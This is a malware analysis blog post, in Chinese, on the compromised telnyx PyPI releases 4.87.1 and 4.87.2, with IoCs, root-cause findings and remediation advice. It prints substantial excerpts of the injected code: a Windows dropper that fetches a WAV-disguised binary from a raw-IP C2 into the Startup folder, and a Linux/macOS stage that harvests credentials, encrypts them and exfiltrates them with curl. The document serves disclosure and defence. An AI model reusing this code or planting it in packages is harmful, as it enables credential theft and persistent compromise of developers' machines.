TL;DR
两个版本的 telnyx(4.87.1 和 4.87.2)于 2026 年 3 月 27 日发布到 PyPI,其中包含被注入恶意代码的 telnyx/_client.py。该 telnyx 包平均每月下载量超过 100 万次(约 30,000 次/天),使其成为一次高影响的供应链攻击事件。有效载荷从远程服务器下载隐藏在 WAV 音频文件中的第二阶段二进制文件,然后在 Windows 上植入持久性可执行文件,或在 Linux/macOS 上窃取凭据。窃取的数据使用 AES-256-CBC 和硬编码的 RSA-4096 公钥进行加密后再外传。RSA 密钥和操作模式与 litellm PyPI 入侵事件一致,因此高度确信此次攻击可归因于 TeamPCP。
影响:
- 下载并执行伪装在 WAV 音频文件中的任意二进制文件(隐写术)
- 在 Windows 上:将持久性可执行文件植入启动文件夹作为
msbuild.exe - 在 Linux/macOS 上:窃取凭据,使用 AES-256-CBC + RSA-4096 进行加密,然后通过 HTTP POST 外传
- 在
import telnyx时自动执行,无需用户交互
入侵指标(IoC):
- 软件包:
telnyx==4.87.1(SHA256:7321caa303fe96ded0492c747d2f353c4f7d17185656fe292ab0a59e2bd0b8d9)、telnyx==4.87.2(SHA256:cd08115806662469bbedec4b03f8427b97c8a4b3bc1442dc18b72b4e19395fe3) - C2 服务器:
83[.]142[.]209[.]203:8080 - 有效载荷 URL:
hxxp://83[.]142[.]209[.]203:8080/ringtone.wav(Linux/macOS)、hxxp://83[.]142[.]209[.]203:8080/hangup.wav(Windows) - Windows 持久性:
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe - 外传请求头:
X-Filename: tpcp.tar.gz
分析
软件包概述
telnyx 是 Telnyx 通信 API 的官方 Python SDK,用于可编程电话、短信和网络服务。该软件包通过维护者邮箱 Telnyx <[email protected]> 发布到 PyPI。
2026 年 3 月 27 日,一个安全问题被提交,报告 4.87.1 和 4.87.2 版本包含 GitHub 源代码仓库中不存在的注入代码。最后一个干净版本 4.87.0 有对应的 GitHub 发行标签(v4.87.0,发布于 3 月 26 日)。4.87.1 和 4.87.2 都没有对应的发行版或标签,表明 PyPI 发布凭据已被入侵。
这与 litellm 入侵事件 相同的攻击模式:攻击者使用被盗凭据直接向 PyPI 发布木马化版本,而源代码仓库保持干净。GitHub 源代码不是类型混淆攻击:软件包元数据(作者、主页、依赖项)与合法项目完全相同。
两个恶意版本中唯一被修改的文件是 telnyx/_client.py。恰好注入了 74 行恶意代码:文件顶部的导入语句、中间的 base64 编码有效载荷变量,以及在合法类定义之后追加的攻击函数。
根因分析
GitHub 仓库没有入侵迹象。查询仓库事件时间线显示,所有最近的推送事件都来自 stainless-app[bot],即管理整个 CI/CD 管道的 Stainless SDK 代码生成平台:
$ gh api "repos/team-telnyx/telnyx-python/events?per_page=100" --paginate \
| jq -r '.[] | select(.type=="PushEvent") |
[.created_at, .actor.login, .payload.ref] | @tsv' | tail -102026-03-26T19:24:58Z stainless-app[bot] refs/heads/release-please-...
2026-03-26T19:25:26Z stainless-app[bot] refs/heads/release-please-...
2026-03-26T19:27:31Z stainless-app[bot] refs/heads/master
2026-03-26T19:27:54Z stainless-app[bot] refs/heads/next
2026-03-26T19:28:34Z stainless-app[bot] refs/heads/generated
2026-03-27T00:01:28Z stainless-app[bot] refs/heads/generated
2026-03-27T00:01:30Z stainless-app[bot] refs/heads/next
2026-03-27T00:01:51Z stainless-app[bot] refs/heads/release-please-...
2026-03-27T00:22:36Z stainless-app[bot] refs/heads/generated
2026-03-27T00:22:38Z stainless-app[bot] refs/heads/next没有强制推送,没有未知操作者,没有来自外部贡献者的可疑 PR。v4.87.1 和 v4.87.2 都没有对应的 GitHub 发行版或标签:
$ gh api "repos/team-telnyx/telnyx-python/git/ref/tags/v4.87.1" 2>/dev/null
# 404 Not Found
$ gh api "repos/team-telnyx/telnyx-python/git/ref/tags/v4.87.2" 2>/dev/null
# 404 Not FoundPyPI 的发布工作流于 3 月 26 日成功为 v4.87.0 运行,之后未再运行。恶意版本是直接上传到 PyPI 的,完全绕过了 GitHub Actions:
$ gh api "repos/team-telnyx/telnyx-python/actions/workflows/publish-pypi.yml/runs?per_page=5" \
--jq '.workflow_runs[] | [.created_at, .event, .head_branch, .conclusion] | @tsv'2026-03-26T19:27:42Z release v4.87.0 success
2026-03-25T17:02:25Z release v4.86.1 success
2026-03-24T21:33:31Z release v4.86.0 success
2026-03-24T20:46:38Z release v4.85.0 success
2026-03-24T17:23:03Z release v4.84.0 successv4.87.1 或 v4.87.2 没有发布运行。也不存在 workflow_dispatch(手动)运行。
上传工具指纹证实了这一点。v4.87.2 的 PyPI 元数据显示 twine/6.2.0 CPython/3.14.3 为上传客户端。合法的 CI 管道使用 rye publish(Rye 0.44.0),产生不同的指纹:
# bin/publish-pypi (what the CI pipeline runs)
rye publish --yes --token=$PYPI_TOKEN# PyPI metadata for v4.87.2 (what actually uploaded the malicious version)
Uploaded via: twine/6.2.0 CPython/3.14.3此工具不匹配表明攻击者是使用被盗 API 令牌手动上传恶意 wheel 的,而不是通过仓库的自动化发布流程。
发布工作流 使用存储为 GitHub Actions 密钥的静态 PyPI API 令牌:
env:
PYPI_TOKEN: ${{ secrets.TELNYX_PYPI_TOKEN || secrets.PYPI_TOKEN }}未配置 PyPI 受信任发布者(OIDC)。受信任发布者将 PyPI 上传绑定到特定的 GitHub 仓库和工作流,使被盗令牌在上下文之外毫无用处。没有此保护,任何拥有 API 令牌的人都可以从任何机器上传任何版本。
我们检查了工作流级别的凭据暴露。仓库未使用 Trivy 或任何其他在 之前的 TeamPCP 活动 中被入侵的安全扫描工具:
$ gh search code "trivy" --repo team-telnyx/telnyx-python
# No resultsrelease-doctor.yml 工作流使用 pull_request(而非 pull_request_target),因此分叉 PR 无法访问密钥。未发现工作流级别的凭据暴露。
最可能的情况是 PYPI_TOKEN 是通过先前的凭据窃取操作获得的。TeamPCP 的活动已展示出从被入侵环境中窃取 CI/CD 密钥的能力:litellm 入侵事件 被追溯到中毒的 Trivy 二进制文件,该文件从 CI 运行器中外传了 PYPI_PUBLISH_PASSWORD。类似的凭据窃取,无论是来自被入侵的 CI 工具、开发者工作站,还是拥有令牌访问权限的第三方服务,都可能是这里的入侵向量。
有效载荷分析
警告: 以下所有分析均在用作文件系统沙箱的隔离容器中进行。请勿在主机系统上执行恶意软件包中的任何代码。仅下载并解压;切勿
pip install受入侵的 wheel。
我们直接从 PyPI 下载了恶意 wheel 和最后一个已知干净版本,未进行安装。工件 URL 来自 SafeDep 社区 API:
# Malicious versions
curl -sL -o telnyx-4.87.1.whl \
"https://files.pythonhosted.org/packages/83/b7/5e93f51cd157cc8cf5599f387e587a1926d50fc7e54fb76d04b342341fb0/telnyx-4.87.1-py3-none-any.whl"
curl -sL -o telnyx-4.87.2.whl \
"https://files.pythonhosted.org/packages/5a/73/87cb49434a1f89f253819b81993d3a4e65186ae08b013b9825633ceac359/telnyx-4.87.2-py3-none-any.whl"
# Last known clean version
curl -sL -o telnyx-4.87.0.whl \
"https://files.pythonhosted.org/packages/f2/08/a03c3d158a35dc8553a5dcc3c3405bad3dd6f4ab23cb7823c9152602f7c8/telnyx-4.87.0-py3-none-any.whl"下载的工件的 SHA256 哈希值与安全问题中报告的值匹配:
7321caa303fe96ded0492c747d2f353c4f7d17185656fe292ab0a59e2bd0b8d9 telnyx-4.87.1.whl
cd08115806662469bbedec4b03f8427b97c8a4b3bc1442dc18b72b4e19395fe3 telnyx-4.87.2.whlPython wheel 是 ZIP 归档文件。我们在未安装的情况下解压了它们,并将干净版本与恶意版本进行了 diff。diffstat 输出确认仅修改了一个文件:
telnyx/_client.py | 74 +++++++++++++++++++++++++++++++
1 file changed, 74 insertions(+)diff 的第一部分显示了注入到文件顶部的恶意导入:
--- clean-4.87.0/telnyx/_client.py
+++ mal-4.87.1/telnyx/_client.py
@@ -1,12 +1,19 @@
# File generated from our OpenAPI spec by Stainless.
from __future__ import annotations
-
+import subprocess
+import tempfile
+import time
import os
+import base64
+import sys
+import wave
+import os
from typing import TYPE_CHECKING, Any, Mapping
from typing_extensions import Self, override
import httpx
+import urllib.request
from . import _exceptions完整 diff 显示在三个注入点共增加了 74 行:顶部的这些导入、中间的 base64 编码有效载荷变量(第 459 行),以及在合法类定义之后追加的攻击函数(第 7758 行之后)。
使用 shell 工具静态解码 base64 编码的字符串(从不执行该包)揭示了混淆值:
echo "QVBQREFUQQ==" | base64 -d # APPDATA
echo "bXNidWlsZC5leGU=" | base64 -d # msbuild.exe
echo "aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg==" | base64 -d_p 有效载荷变量(第 459 行 4,436 字符的 base64 字符串)解码为可读的 83 行凭据窃取脚本。此解码有效载荷中的 RSA 公钥与 litellm 入侵事件中的密钥逐字节匹配,确认了共享作者身份。
将两个恶意版本相互比较显示有一处更改:
--- mal-4.87.1/telnyx/_client.py
+++ mal-4.87.2/telnyx/_client.py
@@ -7820,6 +7820,6 @@
AsyncClient = AsyncTelnyx
-Setup()
+setup()
FetchAudio()这确认 4.87.2 是攻击者的错误修复版本,纠正了导致 Windows 有效载荷无法执行的大小写错误。
执行触发
恶意代码在 telnyx 被导入时在模块范围内执行。文件底部的两个函数被无条件调用:
# telnyx/_client.py (lines 7823-7825, version 4.87.2)
setup()
FetchAudio()由于 _client.py 作为 telnyx 包初始化的一部分被导入,任何执行 import telnyx 的代码都会触发有效载荷。无需显式函数调用。
版本 4.87.1 包含一个错误:第 7823 行的调用读取 Setup()(大写 S),而函数在第 7761 行定义为 setup()(小写)。文件中不存在其他 Setup 标识符。由于两个调用都在模块范围内且没有异常处理,来自 NameError 的 Setup() 会在到达 FetchAudio() 之前中止模块执行。在 4.87.1 中两个攻击路径都不会执行。版本 4.87.2 纠正了大小写,使两个攻击路径都可工作。
| 版本 | Windows(setup()) | Linux/macOS(FetchAudio()) |
|---|---|---|
| 4.87.1 | 已损坏(Setup() NameError 中止模块) | 未到达 |
| 4.87.2 | 可用(大小写已修复) | 可用 |
恶意导入
攻击者在文件顶部添加了七个在 API 客户端库中没有合法用途的导入:
# telnyx/_client.py (lines 4-16, injected)
import subprocess
import tempfile
import time
import os
import base64
import sys
import wave
...
import urllib.requestwave 导入是最具特色的:WAV 音频处理模块在 HTTP API 客户端中没有合法用途。它标志着隐写术有效载荷传递机制。
Base64 辅助函数和有效载荷变量
一个辅助函数解码在整个 Windows 攻击路径中使用的 base64 编码字符串:
# telnyx/_client.py (lines 41-42)
def _d(s):
return base64.b64decode(s).decode('utf-8')在第 459 行,一个 4,436 字符的 base64 编码变量 _p 存储了完整的 Linux/macOS 第二阶段有效载荷:
# telnyx/_client.py (line 459)
_p = "aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRlbXBmaWxlCmltcG9ydCBvcwppbXBvcnQgYmFzZTY0..."此变量由 FetchAudio() 在分离的子进程中解码并执行。
Windows 攻击路径:setup()
setup() 函数以 Windows 机器为目标。它使用 base64 编码的字符串构建持久性路径:
# telnyx/_client.py (lines 7761-7804)
def setup():
if os.name != 'nt':
return
try:
p = os.path.join(os.getenv(_d('QVBQREFUQQ==')),
_d('TWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVw'),
_d('bXNidWlsZC5leGU='))base64 字符串解码为:
QVBQREFUQQ==→APPDATATWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVw→Microsoft\Windows\Start Menu\Programs\StartupbXNidWlsZC5leGU=→msbuild.exe
完整持久性路径解析为 %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe。此目录中的可执行文件在用户登录时自动运行。文件名 msbuild.exe 模仿合法的 Microsoft Build Engine 二进制文件,该文件通常位于 C:\Windows\Microsoft.NET\。
该函数实现了 12 小时锁定机制以防止重新下载:
# telnyx/_client.py (lines 7773-7784)
if os.path.exists(l):
m_time = os.path.getmtime(l)
if (time.time() - m_time) < 43200:
return
with open(l, 'w') as f:
f.write(str(time.time()))
try:
subprocess.run(['attrib', '+h', l], capture_output=True)
except:
pass锁定文件使用 Windows attrib +h 命令隐藏。
然后它从 C2 服务器下载 WAV 文件,使用隐写术从音频数据中提取二进制文件,写入启动文件夹,然后启动它:
# telnyx/_client.py (lines 7786-7801)
r = urllib.request.Request(
_d('aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg=='),
headers={_d('VXNlci1BZ2VudA=='): _d('TW96aWxsYS81LjA=')})
with urllib.request.urlopen(r, timeout=15) as d:
with open(t, "wb") as f:
f.write(d.read())
with wave.open(t, 'rb') as w:
b = base64.b64decode(w.readframes(w.getnframes()))
s, m = b[:8], b[8:]
payload = bytes([m[i] ^ s[i % len(s)] for i in range(len(m))])
with open(p, "wb") as f:
f.write(payload)
...
subprocess.Popen([p], creationflags=0x08000000)URL aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg== 解码为 http://83.142.209.203:8080/hangup.wav。creationflags=0x08000000(CREATE_NO_WINDOW)确保进程在没有可见控制台窗口的情况下运行。
WAV 隐写术机制
两个攻击路径使用相同的技术将有效载荷隐藏在 WAV 音频文件中。提取过程:
- 从 C2 服务器下载
.wav文件 - 使用 Python 的
wave模块读取音频帧 - 对帧数据进行 base64 解码(音频样本本身就是 base64 编码的数据,而非实际音频)
- 从解码数据的前 8 个字节中提取 8 字节 XOR 密钥
- 使用该密钥对剩余字节进行 XOR 解密
# Steganography extraction (both attack paths)
with wave.open(wf, 'rb') as w:
raw = base64.b64decode(w.readframes(w.getnframes()))
s, data = raw[:8], raw[8:]
payload = bytes([data[i] ^ s[i % len(s)] for i in range(len(data))])这不是传统意义上的真正隐写术(在音频的最低有效位中隐藏数据)。相反,攻击者将 base64 编码的、XOR 加密的有效载荷打包到有效的 WAV 容器中。该文件具有合法的 WAV 头,可以通过基本的文件类型检查,但音频帧数据完全是有效载荷。这种方法可以规避检查 HTTP 流量中已知恶意模式的网络安全工具:下载的文件看起来是无害的音频文件。
Linux/macOS 攻击路径:FetchAudio()
FetchAudio() 函数以非 Windows 系统为目标,通过生成一个分离的子进程来解码并执行 _p 有效载荷:
# telnyx/_client.py (lines 7806-7817)
def FetchAudio():
if os.name == 'nt':
return
try:
subprocess.Popen(
[sys.executable, "-c",
f"import base64; exec(base64.b64decode('{_p}').decode())"],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
start_new_session=True
)
except:
passstart_new_session=True 参数将子进程与父进程分离,因此即使导入的 Python 进程退出,凭据窃取也会继续。
解码后的 Linux/macOS 有效载荷
_p 变量解码为 83 行凭据窃取脚本。它包含在 litellm 入侵事件中找到的相同 RSA-4096 公钥:
# Decoded _p payload
PUB_KEY_CONTENT = """-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8mucujrT15ry+
08qNLwm3kxzFSMj84M16lmIEeQA8u1X8DGK0EmNg7m3J6C3KzFeIzvz0UTgSq6cV
...
rn3JMF0xZyXNRpQ/fZZxl40CAwEAAQ==
-----END PUBLIC KEY-----"""
WAV_URL = "http://83.142.209.203:8080/ringtone.wav"audioimport() 函数遵循三阶段攻击:
阶段 1:从 WAV 文件下载并解码第二阶段收割器。
# Decoded _p payload
req = urllib.request.Request(WAV_URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=15) as r:
with open(wf, "wb") as f:
f.write(r.read())
with wave.open(wf, 'rb') as w:
raw = base64.b64decode(w.readframes(w.getnframes()))
s, data = raw[:8], raw[8:]
payload = bytes([data[i] ^ s[i % len(s)] for i in range(len(data))])来自 ringtone.wav 的 WAV 被解码并进行 XOR 解密,然后通过管道传入新的 Python 解释器:
# Decoded _p payload
with open(collected, "wb") as f:
subprocess.run(
[sys.executable, "-"],
input=payload,
stdout=f,
stderr=subprocess.DEVNULL,
check=True
)收割器的 stdout(收集的凭据)被捕获到临时文件中。
阶段 2:加密收集的数据。
# Decoded _p payload
subprocess.run(["openssl", "rand", "-out", sk, "32"], check=True)
subprocess.run(["openssl", "enc", "-aes-256-cbc", "-in", collected, "-out", ef,
"-pass", f"file:{sk}", "-pbkdf2"], check=True,
stderr=subprocess.DEVNULL)
subprocess.run(["openssl", "pkeyutl", "-encrypt", "-pubin", "-inkey", pk,
"-in", sk, "-out", ek,
"-pkeyopt", "rsa_padding_mode:oaep"], check=True,
stderr=subprocess.DEVNULL)
subprocess.run(["tar", "-czf", bn, "-C", d, "payload.enc", "session.key.enc"],
check=True)该进程生成一个随机的 32 字节 AES 会话密钥,使用 AES-256-CBC 加密收集的数据,然后使用攻击者的 RSA-4096 公钥和 OAEP 填充加密会话密钥。两个加密文件被捆绑到一个 tarball 中。
阶段 3:外传。
# Decoded _p payload
subprocess.run([
"curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", "-X", "POST",
"http://83.142.209.203:8080/",
"-H", "Content-Type: application/octet-stream",
"-H", "X-Filename: tpcp.tar.gz",
"--data-binary", f"@{bn}"
], check=True, stderr=subprocess.DEVNULL)tarball 通过 HTTP POST 外传到 83[.]142[.]209[.]203:8080。X-Filename: tpcp.tar.gz 请求头是 TeamPCP 的签名,与 litellm 攻击中使用的请求头相同。
归因于 TeamPCP
基于与 litellm 入侵事件的三个共享指标,此次攻击高度确信归因于 TeamPCP:
- 相同的 RSA-4096 公钥。 解码有效载荷中的公钥(
MIICIjANBgkqhkiG9w0BAQEFAAOC...)与 litellm 1.82.8 第一阶段编排器中嵌入的密钥逐字节匹配。只有持有对应私钥的人才能解密外传的数据。 tpcp.tar.gz归档名称和 HTTP 请求头。 两次攻击都将外传数据捆绑为tpcp.tar.gz,并在外传期间使用X-Filename: tpcp.tar.gz请求头。"TPCP" 代表 TeamPCP。- 通过 openssl CLI 的 AES-256-CBC + RSA OAEP 加密方案。 相同的
openssl rand、openssl enc -aes-256-cbc和openssl pkeyutl -encrypt ... -pkeyopt rsa_padding_mode:oaep命令序列出现在两个有效载荷中。
操作演变值得注意:litellm 使用被入侵的域名(models.litellm.cloud)作为 C2,而 telnyx 使用原始 IP 地址(83.142.209.203)。WAV 隐写术技术是此次攻击的新技术,在 litellm 入侵事件中未观察到,表明该攻击者正在积极开发其传递机制。
版本进展
两个恶意版本揭示了攻击者的迭代周期:
- 4.87.1:初始发布。包含大小写错误(第 7823 行的
Setup()vs 第 7761 行的def setup()),导致在模块范围内引发NameError,阻止两个攻击路径执行。 - 4.87.2:稍后发布。将大小写修复为
setup(),使两个攻击路径都可工作。两个版本之间没有其他更改。
这个快速错误修复版本表明攻击者正在监控有效载荷的行为,并在数小时内纠正了错误。
结论
被入侵的 telnyx 4.87.1 和 4.87.2 包已确认为恶意软件。它们代表了 TeamPCP 通过入侵 PyPI 发布凭据分发凭据窃取有效载荷的活动的延续。WAV 隐写术传递机制是该攻击者的一项新技术,旨在通过将有效载荷伪装为音频文件来绕过网络检查工具。
安装了任一版本的用户应轮换其环境中存在的所有凭据,检查 Windows 启动文件夹中是否有 msbuild.exe,并审计系统中是否有到 83[.]142[.]209[.]203 的连接。
请固定到 telnyx==4.87.0(或最新的已知干净版本),直到维护者确认入侵已解决并发布经过验证的干净版本。使用 SafeDep vet 在安装前检查软件包是否存在已知恶意软件信号。
参考
-
pypi
-
oss
-
malware
-
supply-chain
-
telnyx
-
credential-theft
-
steganography
SafeDep 博客最新内容
关注以获取开源安全与工程的最新更新和见解